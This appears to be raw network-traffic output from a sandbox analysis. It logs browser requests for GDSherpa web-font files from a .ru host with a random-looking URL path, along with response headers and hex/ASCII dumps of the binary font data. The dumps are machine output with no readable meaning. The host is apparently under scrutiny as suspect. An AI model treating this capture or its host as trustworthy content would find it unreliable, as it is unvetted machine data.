2025-03-18 08:10:40 UTC	1369	IN	Data Raw: ba 7a 4a da ea e0 d7 ab b4 cd b8 2a dd be 76 a5 ab 7d 10 9e 36 57 41 be e5 b5 03 89 35 fb d4 09 55 10 ad d2 b5 57 b9 54 c3 df 59 b5 9b 19 73 89 97 99 16 63 45 bc aa 8b 94 2f 7a 05 b8 bf 7a 54 0d 44 9e 56 25 f2 ff dc b6 75 59 0b 2e 83 37 3d a1 0e 62 3f e4 54 e6 83 ac 4a a4 19 ed 31 c9 d9 9d 7c b7 93 6c 36 c2 ca e0 c5 be c5 dc 73 a9 0d 2a 97 f2 e9 79 da 88 f3 dd ba 92 14 89 af 97 b6 35 ea 18 b4 a0 16 1e a9 c4 5e 7f a7 25 ce 93 87 70 b8 5a 56 e8 5e c5 be 28 a6 54 ef fb 7f 09 7e 73 df a7 fe a3 a5 5a 3d a3 46 c9 3a 6b 95 e9 bd cd d8 83 df 1a 55 aa 8e 22 63 ca 56 15 6a 9d f3 cc 28 3b 5b 82 07 b8 2f e6 3a da 02 0d ac a7 4b e1 81 1a 9c f7 61 71 d6 bb 52 dd fe 6e d8 5b 3d 8f b5 a6 14 e3 dc 0e de e6 73 75 9c 12 cd 35 7d c9 3c 9b 74 46 ec ca 92 6d ea c4 d3 9a 19 70 Data Ascii: zJv}6WA5UWTYscE/zzTDV%uY.7=b?TJ1\|l6sy5^%pZV^(T~sZ=F:kU"cVj(;[/:KaqRn[=su5}<tFmp
2025-03-18 08:10:40 UTC	1369	IN	Data Raw: 39 b2 26 d3 ef 5b 11 3c e2 9a 86 f9 46 08 b3 69 51 5b a2 67 3b 98 79 83 3d 92 99 71 80 27 bb e1 39 ce 45 95 79 00 fd d6 20 bb 9e 2d 5e bd d6 7e 16 fb 48 48 eb 0b 58 d2 34 58 fe 1e 44 fa 0f 9c 67 7a a1 55 e2 09 ac aa d6 d6 2f f5 e2 57 5d 47 89 da 5e ac f2 60 37 11 32 76 a9 10 b5 b7 d1 75 43 63 84 95 74 8f ab d2 69 c3 f9 36 d7 95 9d 7d 3d d8 69 85 64 b8 fa 78 c2 d7 2f 41 5d 01 bc c3 1a 77 14 0e ab 36 aa 2c cd 6a fd 1a af d9 8e ad 90 92 f3 6e 4d 15 da 39 5c 74 0b 6f d3 5e d4 3e 3b 45 3c e8 65 af e6 76 b0 82 61 38 6b c4 a5 ed 46 6d 68 c5 6d d7 64 d1 b4 53 f4 b2 36 aa 65 06 6d 5b b3 bc c2 17 d2 bf 41 f4 d2 d3 c9 dc 9a 5a 7d 8d 95 3b 37 69 88 90 93 46 91 5e eb fb 54 f8 f5 70 ef 13 72 ad ef 9d b1 6c 34 e8 ba 57 d1 d1 7b 38 f4 f2 4b fe bc db d1 9c e4 c8 6f eb 5d Data Ascii: 9&[<FiQ[g;y=q'9Ey -^~HHX4XDgzU/W]G^`72vuCcti6}=idx/A]w6,jnM9\to^>;E<eva8kFmhmdS6em[AZ};7iF^Tprl4W{8Ko]
2025-03-18 08:10:40 UTC	1369	IN	Data Raw: a6 47 1e d1 09 8c 06 3d 36 90 e0 89 04 77 5a a0 29 be c7 01 b2 ae ec 19 98 db 38 17 8c 8f 02 13 30 c7 1f c8 3c 6d f8 a1 c0 dd 1d c0 8f 2c 78 c0 81 49 0e fc ad b6 db 51 2d 07 e8 fb 74 9f ec b7 03 ee a2 ef c9 de 15 56 aa 7d 77 02 7c c6 1d e8 79 87 40 7f ba 04 b6 3b 11 d0 03 b1 f4 bb c8 5a b2 2d 9f dc 0d f1 43 ff ff 25 9f 44 95 51 80 6b c8 fe 1a dd de 7a ba ce af a4 cb 71 1c 43 ee ef 5a ed d8 fb 1d 39 de 61 e1 cd 92 bf 0c d0 11 b2 37 6c ee 25 89 0f e3 24 17 60 c9 05 52 e4 6d 60 0a 28 e8 86 76 9d 35 a5 58 90 0a f8 0e 28 ed 81 27 d2 00 a9 d0 c2 74 e8 5b 86 fc 37 ad 9e 80 ef 42 93 7a c1 7a 7b 03 0c 68 57 1f 3c 95 85 67 58 32 b0 54 cc b5 2f 66 a5 df 0f dd 2b de eb 52 58 cf 48 b4 8e 02 8f 52 20 c5 07 70 fc 67 fa 29 f0 3e 41 4f e3 fc 97 80 4b e9 19 9a 89 31 66 d1 Data Ascii: G=6wZ)80<m,xIQ-tV}w\|y@;Z-C%DQkzqCZ9a7l%$`Rm`(v5X('t[7Bzz{hW<gX2T/f+RXHR pg)>AOK1f
2025-03-18 08:10:40 UTC	1369	IN	Data Raw: 9f 1a 1e 88 cb 70 1e 8a 5b b4 91 7a f1 f6 84 97 e2 ae 91 57 62 e7 35 6f c5 ce 7b 3e 88 9d 26 fd 92 a5 83 6f e2 e7 bb 89 20 c5 78 4c 2c 79 26 ce 64 eb 35 6d bb 8c 6a b5 81 ae 5a 4c 95 dd f8 5b bf 71 47 f1 77 36 5e d5 2e 9e de b2 4f ed d1 63 6a b4 fd 60 53 6d ed 23 53 fd 9f 4a db b2 ee 2b 1a a3 2c d7 3e 53 96 5b f1 6a 9b 32 f4 1a 87 02 d3 d5 aa 37 92 fa bf 74 81 bb 45 00 00 00 78 da 63 60 66 99 c6 1c c4 c0 ca c0 c2 6a cc 72 86 81 81 61 26 84 66 02 e1 08 06 54 c0 8e cc 71 73 74 f3 07 52 0a bf 59 d8 72 fe e5 30 9c e0 d8 c7 e4 a5 c0 c0 30 19 24 c7 fc 82 2d 07 24 c7 c0 0c 00 39 34 0c f8 00 00 78 da 8d 95 09 94 4e 65 1c c6 7f cf 9d 45 a1 6c 61 b2 5c 77 3e 4c a4 84 8c ad 45 cb 0c 2a 29 a4 42 34 4a cb 90 f6 4c 08 63 8b 12 c3 60 b4 20 23 86 66 d0 31 46 26 46 06 43 Data Ascii: p[zWb5o{>&o xL,y&d5mjZL[qGw6^.Ocj`Sm#SJ+,>S[j27tExc`fjra&fTqstRYr00$-$94xNeEla\w>LE*)B4JLc` #f1F&FC
2025-03-18 08:10:40 UTC	1369	IN	Data Raw: b3 84 db 4c fb b7 2b d9 6b b4 2e d0 5b ea 61 fc 6e 33 2a 9b 6a 9f 91 fb a1 76 29 dd e8 3d 68 7f ff b0 8e a8 c0 c8 5e 64 df de 60 4c cd 32 ee f7 2b 5f 4b b5 dd 4e 9f 44 23 7b ba ed 44 1b d7 43 4b fc ab 97 35 b9 b4 7f 25 9d dc a2 03 c6 dd 5c ed d6 db 76 5a 8d 26 9f 83 d6 d3 24 eb f0 48 ed b5 2c e8 6a 89 d0 dd 72 a0 8c ff be a5 ec 63 19 50 42 fd 24 96 ab 97 79 ac 5f b9 df e2 d4 d3 3c 77 f7 ef a7 1d ba 82 00 00 78 da d4 bd 77 60 d3 c7 d9 38 7e f7 19 92 bc 2d cb f2 5e b2 6c cb 03 4f 59 96 b7 85 59 5e 18 4f 8c 07 78 63 63 1b 63 f6 0e 7b 86 04 08 64 11 c8 24 94 24 84 52 56 48 02 21 4d 9a 84 b6 d0 bc 0d 6d da a6 49 9a b6 69 4a 1a d2 b7 ed eb 24 2d 58 1f ff 9e bb cf b0 2c 5b 49 fb be df 7f 7e 06 5b d2 e9 b9 fb 3c f7 dc 73 cf ba e7 ee 10 83 0e 22 c4 be c5 be 82 58 Data Ascii: L+k.[an3*jv)=h^d`L2+_KND#{DCK5%\vZ&$H,jrcPB$y_<wxw`8~-^lOYY^Oxccc{d$$RVH!MmIiJ$-X,[I~[<s"X
2025-03-18 08:10:40 UTC	1369	IN	Data Raw: 7c 96 39 83 cb ec 37 98 22 e1 4d a1 46 f8 13 e9 74 26 73 dd fe f6 c8 79 e6 71 e1 f7 c2 16 68 58 e2 4f 6f 78 cb a3 60 5b 80 dc 77 a6 09 ba e4 c3 00 19 7d 59 68 96 d0 10 b8 5c 60 5a 46 4e f0 3b ef f6 fd 4d ac a7 aa a4 f3 15 c6 c0 5d cd 00 52 b8 0c d3 31 00 04 69 6d 3f 3f ad 9f c4 d5 80 14 41 c9 08 88 9d c7 6d 78 31 fc 6b 1b 16 8e dd 16 8e 0d 43 83 cf 71 0d 77 d6 71 d1 77 3f 26 bf 12 4e 5f d3 39 13 61 0b 55 43 63 4a d3 2c 16 5b 86 86 39 75 10 20 86 c9 d8 92 56 47 99 39 c3 82 fd 0c 34 37 12 cd 7e 7c 67 1d fb bb 11 03 91 2b 64 be 3c 0f f3 45 87 4c 28 d9 96 08 2c 2d 71 38 0f 4d 29 12 4f ef 8f 51 64 b8 bf 49 6f 02 c6 86 61 53 d1 61 8b 19 93 7a 92 9c 31 51 29 93 c2 c8 3c ce 32 a7 85 d1 ef d5 d4 7c 0f e3 d3 a7 31 26 ef 84 d1 d3 4b 9f ec 48 4e ee 78 72 a9 f4 ea bf Data Ascii: \|97"MFt&syqhXOox`[w}Yh\`ZFN;M]R1im??Amx1kCqwqw?&N_9aUCcJ,[9u VG947~\|g+d<EL(,-q8M)OQdIoaSaz1Q)<2\|1&KHNxr
2025-03-18 08:10:40 UTC	1369	IN	Data Raw: 75 52 7a dc 89 fa ff da 75 5a 10 4e d6 d4 9c c4 cc e9 3d ef 55 8f d9 bf 77 4e 38 29 bf c3 f5 b5 63 72 7b 6e ed 83 9f 09 4f fc 19 48 fe de 04 f5 07 d6 17 f5 dd 54 3f 47 01 28 1a c5 a2 42 5b 9e 9e 07 9d 4b d9 81 f8 55 9d 30 b1 11 56 a1 0e 0d 78 55 e0 5b 81 03 43 2c a0 a0 40 04 86 69 44 58 60 74 50 34 54 0d 88 d7 6a dd 80 b1 45 9f 2e 4e 12 96 a2 8f 85 25 19 4e 84 66 00 b8 7b 5c 80 e4 ea f9 a6 e7 c6 14 d6 a5 a6 d6 15 c5 59 53 18 ad 7d 20 39 db 92 36 25 2b 27 09 3c 40 ea fd a5 84 77 e5 a7 d6 17 c6 18 0b eb d2 f3 db c3 ee fc 8c df 95 9b 9c 60 b5 26 24 e7 0a 8f 88 7e 21 f8 9e 42 25 bf 0f 78 39 04 85 a3 e9 b6 a9 81 98 63 40 41 72 4c 99 b7 0a 0c eb 52 b0 b1 30 c3 e3 0e aa 73 c8 24 24 dc 0c 76 38 4c ca 50 22 11 c3 c3 f4 3a 2f 4f 0f 77 37 0d 0a c1 21 6a 90 8a 38 1a Data Ascii: uRzuZN=UwN8)cr{nOHT?G(B[KU0VxU[C,@iDX`tP4TjE.N%Nf{\YS} 96%+'<@w`&$~!B%x9c@ArLR0s$$v8LP":/Ow7!j8

Timestamp	Bytes transferred	Direction	Data
2025-03-18 08:10:40 UTC	1385	OUT	GET /GDSherpa-regular.woff2 HTTP/1.1 Host: ruhlamat.brightnexst.ru Connection: keep-alive Origin: https://ruhlamat.brightnexst.ru sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: font Referer: https://ruhlamat.brightnexst.ru/prkxyeslqhqbklcuenqPORQSII20JW0WOYTG1D4UBBK?RRSIMQRMVOBPPETIPBNPYR Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6IlcydXNSNXhXb01SRytNZ2lYTlEyZlE9PSIsInZhbHVlIjoicFlWbHYxOU1FSnBGSjZGcVc1Wld5K2hoUVlNM0xQTGsxRndGdFVleFgxWm1TbGl1ejNzWVhFK3ZsWDZIMy9KZFd2TFBNZjc1cng0TXdmdER6cTRCbUxRaCtIQXpZREpRdWt1YlZmamh6bncxTCtUWi9tLzl6Y3lpeHAwVGNSRWkiLCJtYWMiOiIxMDYwN2ZlYzA2MWYwMTgxYTY0ZTllMjRmMDI2NmI1YTE5MzMwMjUxMTI3NzAwOTgzNjQ4ZTc0NjVkMjQ0MmZlIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IkNTbVVIdHNoL3BaVlVkVjdrUWVTWkE9PSIsInZhbHVlIjoid3pFaElZcVZjTFV1ZkNnQkluUmRRVnpLRnM0QWZ0VzhMQi9hUFQwQ0ZpYnMvNHVKVUFQOTZjRkxlN2RTRW5RWWppQ3lyYlpHY0lTRlJMQ2t6bWlObFVqTkJHM1locE1KOVNVV05tbmlwMkF4NWlXKzRRelJqMGVxRFVIZW9xVGgiLCJtYWMiOiJkYTFkMjMwMGY4YzE0OWIxYTQ5NTBhNzg1N2Y3MTcxMTIxNjFkMWYzNjZhMGZiYmU5ODI1Mzg1ZWFjYmVhMTExIiwidGFnIjoiIn0%3D
2025-03-18 08:10:40 UTC	1157	IN	HTTP/1.1 200 OK Date: Tue, 18 Mar 2025 08:10:40 GMT Content-Type: font/woff2 Content-Length: 28584 Connection: close Content-Disposition: inline; filename="GDSherpa-regular.woff2" Last-Modified: Tue, 18 Mar 2025 08:10:40 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=gm4xe6xnr5phJOSVC7aezClsDQCcSHZIwhUIkz%2Bd3WlXBTGgz%2F%2B7kGWLPYrfH0MP9ir7WWOD0qSGvSM%2BrDwUG4Wj71QOwXLoK0WdUvNOqp5TZOXaYjmEM0JsT9uQ"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Vary: Accept-Encoding server-timing: cfL4;desc="?proto=TCP&rtt=1068&min_rtt=1008&rtt_var=317&sent=5&recv=8&lost=0&retrans=0&sent_bytes=2825&recv_bytes=2295&delivery_rate=2721804&cwnd=251&unsent_bytes=0&cid=7aab66a2bb82a34d&ts=115&x=0" Cache-Control: max-age=14400 CF-Cache-Status: MISS Accept-Ranges: bytes Server: cloudflare CF-RAY: 92234141febe7d02-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1970&min_rtt=1964&rtt_var=748&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2833&recv_bytes=1957&delivery_rate=1450571&cwnd=208&unsent_bytes=0&cid=2fdaaa35613bb9c0&ts=523&x=0"
2025-03-18 08:10:40 UTC	212	IN	Data Raw: 77 4f 46 32 00 01 00 00 00 00 6f a8 00 10 00 00 00 01 36 78 00 00 6f 47 00 01 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 1b 81 bc 3e 1c 89 16 06 60 00 8e 3c 08 3c 09 97 62 11 08 0a 82 c0 68 82 a2 42 01 36 02 24 03 8e 78 0b 87 3e 00 04 20 05 8c 27 07 97 7b 0c 81 0d 5b 78 22 71 04 dd b6 5d c4 a2 0a ca 1b ec 97 68 4a b7 df b3 0a d8 b1 27 dc 0e e2 ce 96 b5 c5 0a 36 ae 32 bb 5b 95 0a ec 05 71 f6 ff ff 7f 7a d2 88 b1 6d 43 77 77 ff 00 08 2a a9 65 55 b0 0a 53 9a a2 10 14 ad 17 8a 9a 11 30 8d c1 53 1a 73 a6 e1 b6 2c ad b0 c2 e4 5c e5 65 96 de 46 b1 26 ef 94 d7 16 8d 6f 55 2a 52 1a 7d 51 f7 43 8e e7 32 b9 54 44 c8 Data Ascii: wOF2o6xoGB>`<<bhB6$x> '{[x"q]hJ'62[qzmCwweUS0Ss,\eF&oUR}QC2TD
2025-03-18 08:10:40 UTC	1369	IN	Data Raw: b6 e1 0a d3 35 11 09 23 e7 fa 68 14 48 a4 32 ac 7c 3c e8 31 a3 7a a7 a2 5d cf 78 5a f4 95 0f 7a 9d f0 7a b2 e4 97 57 f8 13 be d9 d9 8c a2 1d 9b a8 70 25 87 11 46 eb 65 fa 72 22 79 47 8c bc e1 0d 8b 92 c1 66 b3 4d 33 f2 5d 18 55 1b 70 f3 a0 b7 1c 8d 45 19 a1 3c 9d cb 3a e4 db 6a 81 9b 45 b7 f8 c1 e1 b0 ec a7 c9 b6 74 91 bb 98 ef 21 c7 16 ca bf a1 7e 61 b5 c0 03 4a fd 6d 98 ee 1c 94 66 e3 82 64 a7 65 45 ac c3 bb 3e d4 3a f4 39 85 0a fc c7 d9 99 2c 36 4b 7b e8 71 b2 15 36 65 b8 17 34 3a 7a b4 e5 d3 ff 7f d5 b4 7b ef 7b ef ff 0f 80 24 86 93 20 8a 94 9c 42 1a 83 d4 e6 39 3a 30 c6 47 0b 8d 36 e4 39 52 d3 b9 dc 14 bb 6d d7 a5 aa 6a 43 57 ac 6d 10 5d 3a 7b f7 70 e0 8f 3f 50 eb 4f 91 42 fa c8 45 cc b6 01 dd c4 75 9a 4a 9f 0a 5f a5 a0 ff a6 fa 1a f1 cc 13 08 64 64 Data Ascii: 5#hH2\|<1z]xZzzWp%Fer"yGfM3]UpE<:jEt!~aJmfdeE>:9,6K{q6e4:z{{$ B9:0G69RmjCWm]:{p?POBEuJ_dd
2025-03-18 08:10:40 UTC	1369	IN	Data Raw: 5f 95 2a 35 3a 74 eb b1 d7 7e 07 1c 72 8a dc a0 f3 2e bb ea 1a 85 5b be e1 b7 ae 45 16 a7 97 a6 97 a7 d7 a7 b7 df df f6 d1 c7 9f 7c fa d9 e7 5f 7c f9 d5 d7 df 7c db 5d f7 bd 64 0f 0c 27 26 a7 a6 47 33 b3 fb f6 1f 38 78 68 6e 71 69 79 65 75 6d fd e4 a9 b3 e3 8d 73 e7 af 5e bf 79 ef fe 83 87 8f b6 1e 3f f9 f3 9f 58 9a 82 86 1f 14 46 8a 40 1a 1b 7a 01 35 e4 a7 cb 42 c2 8c cb 67 c9 7e 38 c8 2a 82 f2 62 14 42 0d 1b 75 31 c1 78 4a 5e bf 2c 2b 6d 8b 27 04 9e 3e 6d e9 7b 86 76 fb 60 50 1b 34 94 88 22 33 51 bc a1 68 24 f2 32 83 65 61 3f 18 48 15 94 c8 55 27 f2 4b de c9 51 8a dc 48 4d a6 31 ea c4 68 65 e5 5d b1 81 46 26 93 b0 07 f7 31 7a 10 ab d2 82 1f 29 0c 97 2c 1d f4 28 5a 41 13 73 52 90 c2 af a0 ce 1d c8 91 f5 2a 07 8b 48 c9 1f 54 95 4a c4 b9 30 36 d5 68 9c d9 Data Ascii: _5:t~r.[E\|_\|\|]d'&G38xhnqiyeums^y?XF@z5Bg~8bBu1xJ^,+m'>m{v`P4"3Qh$2ea?HU'KQHM1he]F&1z),(ZAsR*HTJ06h
2025-03-18 08:10:40 UTC	1369	IN	Data Raw: a7 3b df f9 4e a3 34 51 9c 16 3a d7 60 d3 dc 02 d4 08 82 04 d1 4f 32 e3 5a ab 72 dc 86 8f 14 96 37 de ad 0a aa 5f 21 4c 44 82 9a e7 f5 70 28 82 4f 23 f1 4c f0 1f 64 40 c9 5d ef 4e 34 73 9b 4f 1b c9 64 37 06 61 ef df 1b 02 4a c5 59 98 4b 0f 36 d0 5a 73 f5 66 c0 15 ed 9b ba b7 ff 63 21 49 05 47 7d 49 d8 17 b6 ee 07 ce d7 67 ec 43 6b 60 27 b7 64 26 32 b9 85 27 73 35 1c 97 af d5 11 87 28 82 6b db ba 8b 44 03 ea 74 51 f8 50 29 92 60 37 24 39 9a f2 78 10 00 7e 0c f8 fb af 87 98 f5 21 fa 03 f0 fe 0b c0 e7 1e 18 3f 20 9f 15 d5 73 9b e0 ea 0d c0 0a 55 22 1f d7 be 95 c7 07 d0 10 c0 9f 4b 7d 9f 65 ef 23 8a 59 c2 cf f6 39 45 cb af 3e 0e 84 bc 8b 2b 32 5e 84 60 79 e3 43 df da 81 bc 1f 6f ed af cd 01 69 36 13 85 22 36 87 26 df 8a bb 36 57 23 cd e1 00 6a 45 42 61 66 80 Data Ascii: ;N4Q:`O2Zr7_!LDp(O#Ld@]N4sOd7aJYK6Zsfc!IG}IgCk`'d&2's5(kDtQP)`7$9x~!? sU"K}e#Y9E>+2^`yCoi6"6&6W#jEBaf
2025-03-18 08:10:40 UTC	1369	IN	Data Raw: fc 84 fb 09 23 4e d3 ba 7f 28 8e 71 11 b6 db ea 4b 87 c4 04 bc 1b 9b 5a 38 ec 42 13 a1 09 df 69 37 99 1a 14 18 87 12 f8 38 3f bd ee b0 ad 34 7f fe fe a1 c6 53 ee bf ff bb a3 5f be 98 44 87 d1 39 8c c2 ff 5f ff ab bd e1 99 eb 7d 62 b1 48 28 0a 09 29 77 a6 55 70 c0 46 c3 ef 87 ba fe f8 99 9d db 78 1a 36 d6 74 7b 64 aa 20 1d b4 0b da 52 ff b3 d9 6a ef a5 a3 cf 1e 4f b4 02 97 09 94 f4 54 1f b3 7b 6d d4 8f 17 ee 2b cb 6b bb f3 ea e3 59 e2 05 ad 79 b9 68 05 49 62 56 99 cd 2c 54 d4 60 96 43 2f d0 0c 20 86 46 3c ac f7 3d 89 a7 0d b5 e3 56 65 b1 b7 00 cd 75 98 87 03 be 30 f6 77 7d 37 26 c2 a1 c8 bb 23 8d 05 33 c9 a9 ba fd 4a 4e 76 e7 e9 b5 cf eb 6f f8 f9 e4 e6 e6 fd f5 f5 c0 ec 74 98 9c c3 35 07 f7 49 c9 89 8f d4 79 6c 76 39 5d c9 d6 fa d1 f5 6f e3 a4 8f ba fa 68 Data Ascii: #N(qKZ8Bi78?4S_D9_}bH()wUpFx6t{d RjOT{m+kYyhIbV,T`C/ F<=Veu0w}7&#3JNvot5Iylv9]oh
2025-03-18 08:10:40 UTC	1369	IN	Data Raw: a5 6f c4 3b 1a f7 4e 18 11 6e b1 04 9b 00 c4 4b da 94 b2 c8 52 e2 05 c3 94 d9 72 ad 27 95 4d df 48 08 4a a6 52 9a b5 26 42 67 0a 38 40 82 a1 65 99 d1 14 0a 63 bb 02 65 03 1e b3 c1 4a 4a 70 14 81 51 bf 67 c4 ef 2d e0 ae 3c b5 8f a9 a0 84 eb 9c 47 12 a6 10 45 87 23 73 0e b0 da 1e 15 0a fc c1 0e 13 a5 50 38 85 2b 3c 7c e5 bc 63 2e ba ec a4 ab 6e 93 1b ca 77 a9 b0 83 40 8e 5a fe f3 ce 37 c6 6d de 9f 7d d0 94 93 1c 3e 5e 7a f2 4c c5 39 f3 28 f5 dd e5 4a 1e bc b4 f4 ca 53 cb 9f 31 a5 e3 9e 77 42 fc 4b e4 12 ff 64 d3 65 37 bf ee 0a 29 21 1a 30 9f 2b 10 db 01 f2 b4 80 14 6f 25 7a 77 ff 40 e5 94 81 a9 41 35 1f 6c 34 47 ab 5d 80 de dd f8 70 fb 7f ad 3c 00 d4 01 16 a0 fc e6 7e 25 3f ba dc 73 f2 84 c3 1e d6 4f 02 c7 cd 8a 6e c5 bb 56 5d 88 d0 30 c3 ca d0 c7 d4 1b 4e Data Ascii: o;NnKRr'MHJR&Bg8@eceJJpQg-<GE#sP8+<\|c.nw@Z7m}>^zL9(JS1wBKde7)!0+o%zw@A5l4G]p<~%?sOnV]0N
2025-03-18 08:10:40 UTC	1369	IN	Data Raw: bb 56 b2 21 d9 91 ec 77 96 1e fd 2a ac 74 bf da c3 fb f6 12 f9 bd 56 78 38 7d 23 10 f1 30 72 89 28 28 55 99 d2 63 97 01 87 fb 57 f8 02 a6 e7 7c ec d7 42 fb 31 97 76 f3 f4 f1 d4 d1 c9 2c 3b d9 cb 32 27 b8 e0 ba bb de f0 e9 81 c3 4d 9b c7 9d de 2b 5e aa 39 d5 f6 68 3c ca c3 b5 45 4b 26 69 35 3b 22 f8 66 00 cf 15 c3 bf a1 9f 94 ff a2 a5 42 76 c4 5f 6d a9 db 34 3d bc e8 cf ef d9 4c cd 9c 69 e9 df c1 83 ef 7e ef e7 76 36 b9 7b 7f f0 2f cd 9d dc 1c b8 ff 9c dd e9 ce e6 6c d0 89 3f 17 00 e0 55 3f 77 1e 45 08 4a c1 0e 70 80 2b 7f c4 29 43 1e 79 e5 4d ad 41 79 75 1d 85 fa 9d 91 63 fa 53 a2 5a 2d 3a 68 d9 31 27 9c 73 c2 05 97 28 dc 74 3b f0 57 d3 3d 8f cc d7 42 9d 78 06 d5 ef c4 6c 34 dd a5 c7 87 9e d3 f6 ba ba 2b 2f fb 50 c6 9f 4f 98 df 5d 9d 2d f5 75 bf 22 77 4e Data Ascii: V!w*tVx8}#0r((UcW\|B1v,;2'M+^9h<EK&i5;"fBv_m4=Li~v6{/l?U?wEJp+)CyMAyucSZ-:h1's(t;W=Bxl4+/PO]-u"wN
2025-03-18 08:10:40 UTC	1369	IN	Data Raw: f4 5e a6 d5 a4 05 8d 26 6a 85 d4 a4 0a db ef bd f5 f5 24 41 23 8d df ff df 9f 75 de 3d 5c 2a 8e 8a 06 e5 2d 47 4d 23 29 a5 b1 31 28 ad 8d 49 e9 6c 2c 4a 6f 63 53 06 1b 87 32 da b8 94 c9 c6 a3 cc 36 fe 1a 3f a6 73 3f a9 6a 37 c6 d4 41 be bc 63 57 27 50 e1 3c 5e f4 5b 33 e8 7c 78 d1 df 1b b4 85 35 b6 5c 36 da 4a 5b 68 1b cc e0 b1 1d 08 76 00 c1 4e 20 d8 05 04 bb 81 60 0f 10 ec 05 82 7d 40 c2 21 d4 d3 c3 46 a9 70 4c 65 af 6a 46 9e cc 86 31 c4 ca 93 6e fa 8b 26 02 61 27 3c 70 a2 48 2b 19 30 64 c3 7d 1b 0d 93 af 05 36 b8 d6 89 0d 6b 21 ee 12 1d 34 b6 ec 2c 72 14 83 c2 a5 c5 b5 62 52 15 4e a0 3b bc 1e 41 92 35 ba 24 b0 77 e8 84 21 2c 04 cd 2f 1c 7f f1 34 9f d8 fd 96 90 9d 9b 4e 0a f5 5a f1 fa 4b 09 50 c3 7d 27 4d 77 ae 77 32 cd 82 30 0e 9b ce 90 a5 31 92 e6 8a Data Ascii: ^&j$A#u=\*-GM#)1(Il,JocS26?s?j7AcW'P<^[3\|x5\6J[hvN `}@!FpLejF1n&a'<pH+0d}6k!4,rbRN;A5$w!,/4NZKP}'Mww201
2025-03-18 08:10:40 UTC	1369	IN	Data Raw: d2 1d 3d ea ab 52 7f b3 e4 c5 8a e7 64 eb e7 db 56 a9 4a 4d 4e 76 e0 c0 e5 8f 67 a6 d1 80 5c 74 14 31 90 d2 76 77 53 81 cc 76 21 c7 06 d9 2a fd 90 78 fb 11 1e b0 6c 7b 16 1e f7 81 66 5f c9 86 78 07 ae e5 f3 a1 92 c8 76 3e f6 dd ea 77 6c b0 c9 ca 8f c0 a9 18 d9 95 b0 d2 74 0b f5 36 bb 67 96 9a 5e 08 c2 ec 5f 59 dd 1f 29 29 63 7f 76 09 e5 97 48 e8 5d f2 d6 98 90 17 6e f9 c3 53 16 8c aa 2b c1 2a 8d 58 31 50 cf fd 70 ff a0 1e a6 51 22 eb 5a 71 c5 62 86 2e 66 bd 65 dd 0b 36 b8 6d d8 71 f6 dc 7a e8 63 42 90 c8 3e a8 c9 f5 84 34 c7 20 4f 6c 24 ca fb 3c c0 f6 c8 18 df 9b 6b a7 c8 e5 b0 7d 19 a9 d8 05 3d 6e ae ac d9 c8 19 20 6f 5d 9a 62 23 46 a3 8c 62 6a f5 2e b3 82 87 30 d2 b4 99 c8 68 4c 11 a6 c2 ba 94 c3 07 d8 1a 0d 24 e8 a0 81 c5 15 54 3a 57 d4 fb fa 7e 00 4f Data Ascii: =RdVJMNvg\t1vwSv!xl{f_xv>wlt6g^_Y))cvH]nS+X1PpQ"Zqb.fe6mqzcB>4 Ol$<k}=n o]b#Fbj.0hL$T:W~O
2025-03-18 08:10:40 UTC	1369	IN	Data Raw: d0 f8 f9 de 3a 8b 49 d2 46 fd 16 da 55 b0 0c 6a dd 10 5f 4a 41 41 89 e4 f8 97 16 36 ed c3 ef 99 de f6 51 01 96 66 e6 a7 06 d4 cd 83 c0 f2 ba bf 84 b5 69 1d 3c 31 46 2a 3b 9d b5 03 b9 b3 6d bd ab 4c c2 7c 42 09 c5 39 09 c8 ef 63 09 78 83 6f 48 a6 3b 90 83 18 25 79 72 47 76 61 ce 4c 5a 32 c0 de 11 19 13 b2 8b 01 14 50 48 67 17 c1 40 9f db d1 a2 30 99 cc 05 c2 9a d3 ff a9 3e ad 38 62 c6 8e bc ff 60 25 ac b5 5f 29 60 4d 64 62 88 b5 75 68 36 25 a7 c5 8e 03 24 9a 35 ce 03 45 e8 95 1f d1 53 2c 89 12 45 38 ef 68 4d c8 41 86 ad 65 02 ba 80 91 0a 3e b2 ef 49 f7 d3 6e 28 e2 5d dd 8f 29 2e 26 69 14 e7 02 2c 7b 38 8a 58 2e 78 32 56 f5 90 cb c2 fb 4c a6 c2 43 26 f9 51 57 dd 88 a8 44 c8 d2 8c 7f 2d 77 c2 40 5d 4d d6 a6 22 1b 0c 00 0d d9 8f b1 f1 3f f9 72 dc 15 1d c1 58 Data Ascii: :IFUj_JAA6Qfi<1F*;mL\|B9cxoH;%yrGvaLZ2PHg@0>8b`%_)`Mdbuh6%$5ES,E8hMAe>In(]).&i,{8X.x2VLC&QWD-w@]M"?rX

Timestamp	Bytes transferred	Direction	Data
2025-03-18 08:10:40 UTC	1384	OUT	GET /GDSherpa-regular.woff HTTP/1.1 Host: ruhlamat.brightnexst.ru Connection: keep-alive Origin: https://ruhlamat.brightnexst.ru sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: font Referer: https://ruhlamat.brightnexst.ru/prkxyeslqhqbklcuenqPORQSII20JW0WOYTG1D4UBBK?RRSIMQRMVOBPPETIPBNPYR Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9 